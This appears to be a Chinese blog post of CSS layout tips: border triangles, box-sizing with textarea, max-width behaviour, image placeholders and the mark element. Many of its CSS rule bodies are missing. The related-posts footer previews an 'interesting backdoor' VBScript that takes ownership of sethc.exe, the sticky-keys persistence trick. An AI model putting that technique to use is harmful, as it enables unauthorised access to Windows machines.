1:三角形
以上**有助理解,可簡寫為以下形式:
border-top: 30px solid red;
border-right:30px solid transparent;
border-bottom: 0px solid transparent;
border-left: 30px solid transparent;
首先寬高你可以理解成我們畫三角形的頂點,就是在中心,也就是寬高為0但是有邊框寬度(這裡是30px)的時候的中點對不對.
其次,對於塊級元素,想設定有顏色的邊框就必須設定這個邊框風格+
必須設定這個邊框風格+
必須設定這個邊框風格,至於為什麼,你可以看好h1元素預設的邊框樣式是none,所以不寫style你想讓h1大哥有邊框?never!
\ 且solid是白底色的意思嘛?不是!是實線,風格就是實線風格!
最後就可以設定邊框寬度了,首先是上邊框!30px,然後是左右邊框,30px! 下為0,很顯然再加上顏色的話就會使乙個倒三角形:↓
忘了說為什麼要把左右的color設定成transparent↓
css2 引入了邊框顏色值 transparent。這個值用於建立有寬度的不可見邊框
2:那些
沒怎麼用過的塊級元素是不是所有都是display:block?--no!: li:預設list-item;table: 預設table
3:zxx說過,寬度分離是為了迎合設計師寬度更改,導致了需要重新計算padding和border的場景設計的,like this:
.f
.s
4:由於textarea很特殊,即使用display: block也不能填充至父級100%,所以要用width:100%,加上通常需要用padding和border美化,所以最終效果應該是:
input, textarea, img, video, object
ps:替換元素都有這個規律,border-box配合width:100%會省去煩人的padding,width,border的手動計算
5:設定了max-width權重比width的!important都高
就像乙個捲尺一樣,給它設定了max-width:3m就是3公尺處切了一刀,隨後使用之測量時,去量乙個5m高的東西,你覺得會量的出來嗎?
6:video,canvas,iframe等替換元素,預設都是300px寬*150px高,唯獨img在各個廠商的預設不一致,chrome是0*0,ie有個小叉叉
懶載入css:
img
img[src]
但在firefox裡img並不可以設定width和height等提前佔位,就像是span不能設定寬高一樣,所以需要css_reset:
img
由於img是替換元素,當無src時,預設是普通元素,所以可以基於偽類實現img的提前載入描述:
img::after
7:頭圖等比例而不是寫死高度辦法:父級padding+relative,子width100%+absolute:
.f
.s
但這個f是相對f的父元素的寬度的10%
8:內建padding在radio是無,button需要針對火狐reset下:
button
button::-moz-focus-inner
9:animation-fill-mode: forwards
可以用於動畫在最後一幀的保留
10:mark標籤聽說過沒?就是你在網頁ctrl+f的東西的背景色啦:
菜鳥測試mark
這標籤很常規,除了ie8以及以下,別的瀏覽器全相容
想要支援只能js的createelement('mark')+css_reset--
(document.all && !document.addeventlistener) && document.createelement('mark');
mark
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...
有意思的遞迴
先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...